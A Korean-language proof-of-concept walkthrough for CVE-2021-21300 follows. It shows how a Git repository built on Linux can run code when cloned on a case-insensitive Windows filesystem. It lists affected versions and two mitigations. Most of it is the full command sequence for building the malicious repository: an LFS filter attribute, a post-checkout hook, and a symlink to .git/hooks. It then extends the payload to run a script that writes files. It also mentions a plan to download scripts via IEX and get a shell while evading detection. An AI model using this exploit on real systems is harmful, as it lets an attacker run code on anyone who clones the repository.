
CVE-2021-21300에 대한 개념 증명 익스플로잇으로, 악성 git 저장소 복제 시 대소문자 구분 없는 파일 시스템에서 심볼릭 링크와 필터 남용을 통해 원격 코드 실행을 시연합니다.
Git의 여러 버전에서 심볼릭 링크 처리가 엄격하지 않습니다. 대소문자를 구분하는(예: Linux) 파일 시스템에서 Git에 파일을 업로드한 후, 대소문자를 구분하지 않는 파일 시스템(예: Windows)을 사용하는 호스트가 악성 저장소를 클론할 때 원격 명령 실행이 발생할 수 있습니다.
2.15부터 현재 2.30.1까지
Git의 symlink 비활성화: git config --global core.symlinks false
프로세스 필터 비활성화 (일반적으로 LFS가 이 기능을 사용함): git config --show-scope --get-regexp 'filter\..*\.process'로 확인 가능
시스템: ubuntux64
git 및 git-lfs 설치 필요
git lfs install 명령 실행 시 오류가 발생할 수 있음
Error: Failed to call git rev-parse --git-dir: exit status 128
무시 가능
"Git LFS initialized."가 나타나면 설치 완료
시스템: win10x64
git for windows: Git-2.17.1-64-bit
(https://www.npackd.org/p/git64/2.17.1.2)
git for windows 설치는 모두 기본값으로 진행
인터넷에 관련 튜토리얼이 많으므로 생략함
다음 명령어를 실행합니다.
$ git init
$ echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
$ git branch -M main
$ git remote add origin [자신의 저장소 주소]
$ git push -u origin main
win10의 **PowerShell(관리자)**에서 다음 명령어를 실행합니다.
git clone -c core.symlinks=true [자신의 저장소 주소]
클론 후 "PWNED"가 나타나면 원격 명령 실행 성공입니다.
보시다시피 클론 시 post-checkout 파일의 명령이 실행됩니다.
아이디어는 IEX를 사용하여 스크립트를 다운로드하고, kali를 통해 쉘을 획득하는 것이지만 대부분의 스크립트가 탐지되어 차단되므로, 우회 면역을 통해 가능할 것으로 보입니다.
디렉토리에 스크립트 파일 hack.sh 추가
내용은 다음과 같음
#!/bin/sh
#################
echo "script working..." &&
cd / &&
pwd &&
mkdir hack
cd hack &&
touch hacked &&
echo "you has been hacked">hacked &&
echo "done!"
post-checkout에서 실행되는 명령을 수정하여 스크립트를 실행
printf '#!/bin/sh\n\necho PWNED\n\n./hack.sh >&2\n'>A/post-checkout